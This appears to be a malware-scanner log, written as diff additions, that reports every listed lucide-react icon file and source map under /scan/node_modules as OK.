+/scan/node_modules/lucide-react/dist/esm/icons/computer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-help.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pen-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/archive-restore.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-list.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/inspection-panel.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rail-symbol.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid-3x3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/key-round.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/star-half.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-lock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/skull.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/share-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/kanban.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-clock-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout-panel-top.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sigma.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/weight.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/loader-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ligature.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/play-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-pause.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/workflow.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/armchair.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-search.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/superscript.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/palette.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/russian-ruble.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-wide-narrow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-right-inactive.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading-4.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/factory.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-question.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/navigation-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/triangle-alert.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/footprints.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid-2x2-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/play.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-checks.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/air-vent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/eclipse.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heart-handshake.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-check-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-help.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-closed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rotate-ccw-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-slash-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-hail.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-video.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/indent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-close.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pencil.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/forklift.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gauge-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/diamond-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-share.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/origami.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/camera.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/edit.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/brackets.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scatter-chart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panels-left-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pilcrow-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trees.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-left-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sprout.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/concierge-bell.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-search.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scissors-line-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dna.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tablets.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bath.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paw-print.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-restart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mails.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/users-round.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/utensils.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-down-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/stamp.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/presentation.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-warning.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/volume.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/smartphone-charging.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-right-from-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hospital.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-down-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flag-triangle-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/printer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/land-plot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ghost.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-text.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/type.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-top-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-a-z.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rabbit.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout-panel-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-left-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-minus-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-git.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/at-sign.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bar-chart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bar-chart-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/computer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rotate-cw.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/area-chart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grab.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/truck.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/octagon-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/music.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trash-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/nut.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/separator-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-audio.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pi.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pause-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-axis-3-d.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/screen-share-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sword.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/soup.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sidebar-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-half.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-dashed-bottom.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-left-from-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sliders.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fast-forward.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bar-chart-4.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/washing-machine.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panels-top-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bookmark-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-distribute-start.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-pen-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/images.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scale-3d.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flip-horizontal-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-key.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-ring.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-root.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panels-left-bottom.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-left-from-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid-2-x-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-down-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gallery-vertical-end.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radio-receiver.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gamepad-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/anvil.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sparkle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sunset.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/train-track.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/minimize.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/laptop-minimal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/piggy-bank.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/play.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lightbulb-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signal-low.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-warning.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-video-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-za.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cigarette.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shovel.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/syringe.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heart-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/boxes.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/armchair.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-0-1.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/divide.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cherry.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/repeat-1.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-out-up-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tally-1.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp-wall-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-10.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/send-horizonal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tv.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-asterisk.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/search-slash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/milk-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrows-up-from-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-down-dash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/view.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-fog.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/edit-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-distribute-center.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-tree.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/university.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-parking-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/stretch-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/thermometer-sun.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/speaker.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/database-zap.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lock-keyhole-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pi.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/glasses.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-clock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-range.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-justify-center.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-volume.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-justify-center.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse-pointer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/picture-in-picture.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/church.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-cog-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pocket-knife.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/audio-waveform.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-from-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/refresh-ccw.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hard-drive.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pilcrow-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sandwich.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/columns-4.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text-quote.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parking-meter.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/check-circle-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/beaker.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/server-cog.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/edit.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-line-chart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-01.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/maximize-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-chevron-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/globe-lock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-smoke.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cooking-pot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/split-square-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copy.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plane-takeoff.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-3.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flask-conical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-compare.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/undo-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-root.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tram-front.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-reply.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-top-inactive.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-japanese-yen.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/map-pin-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/code.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-down-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-snow.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cassette-tape.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/code.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bar-chart-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/split-square-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse-pointer-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/squirrel.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mic-vocal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/iteration-cw.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trash-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-lock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hexagon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/biohazard.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/store.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-clock-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-play.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sort-asc.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/combine.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/microwave.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-space-between.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/repeat-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-question.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/smartphone-nfc.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-bottom-dashed-scissors.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table-rows-split.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-dashed-bottom.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cat.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-open-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/globe.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/switch-camera.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/microwave.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/webcam.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/umbrella-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heart-pulse.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/egg.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rectangle-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alert-octagon.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/laugh.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-1-0.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wind.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-distribute-center.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/medal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cable.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/blinds.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-left-from-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/newspaper.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gantt-chart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-right-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/origami.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/columns-3.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-type.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-upload.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/indian-rupee.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/separator-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bone.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/building.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-lock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flame-kindling.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/barcode.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mountain-snow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notebook-pen.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/external-link.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wrench.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/star.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/codepen.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/power-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/picture-in-picture-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/activity.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/droplets.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-left-to-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/box-select.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-search.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ice-cream-cone.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/atom.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sticker.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/play-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clapperboard.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fish.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/twitter.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/battery.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unlock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/spline.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/earth-lock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/door-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/more-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/glasses.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/droplet.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-justify-start.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-euro.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-justify.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rss.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-up-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/music-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ice-cream.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-audio-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-right-from-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-code.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-code.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-right-from-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grab.js: OK
